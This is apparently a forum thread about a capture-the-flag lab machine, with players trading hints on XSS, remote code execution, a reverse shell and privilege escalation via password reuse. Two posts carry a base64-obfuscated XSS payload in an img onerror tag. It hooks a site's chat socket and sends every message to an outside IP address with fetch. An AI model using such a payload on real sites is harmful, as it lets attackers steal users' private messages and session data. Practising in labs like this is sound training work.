[jahman]

Hello

here is a payload to exploit the xss.

I let you analyze it and adapt it for you

<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjIxMi8/ZD0iICsgYnRvYShteV9tZXNzYWdlKSl9KSA7IHNvY2tldC5lbWl0KCdjbGllbnRfbWVzc2FnZScsICdoaXN0b3J5Jyk7Cn0pOw=="));' />

[hellX]

Where do I exploit xss?

[Shifter]

Hello

here is a payload to exploit the xss.

I let you analyze it and adapt it for you

<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjIxMi8/ZD0iICsgYnRvYShteV9tZXNzYWdlKSl9KSA7IHNvY2tldC5lbWl0KCdjbGllbnRfbWVzc2FnZScsICdoaXN0b3J5Jyk7Cn0pOw=="));' />

Bro i been on this for hours, how did you figured this out??

[DoesntMatter123456]

Stuck on reverse shell :|
Able to determine the XSS on first name & last name but couldn't find a way to obtain shell

[KillerWhale]

where to put RCE guys?

[DoesntMatter123456]

Finally got user.Anybody stuck on user can PM me

[nanase]

Finally got user.Anybody stuck on user can PM me

I have inserted a listener into chat and enabled the http service locally, but I am sending paylaod on the Contact us page without translation. Is that right

[suzugodess]

Finally got user.Anybody stuck on user can PM me

check PM please

[peRd1]

some hint for frank -> kai?

Look what you'll find on port 3000. Work with it. Try to become admin. There is unintended and intended way as well there.

Once inside that webapp, find out how to do RCE and grab shell.

Enumerate more, pass reusing, env variables? And that's how you will find kai.

[suzugodess]

Where do i put the RCE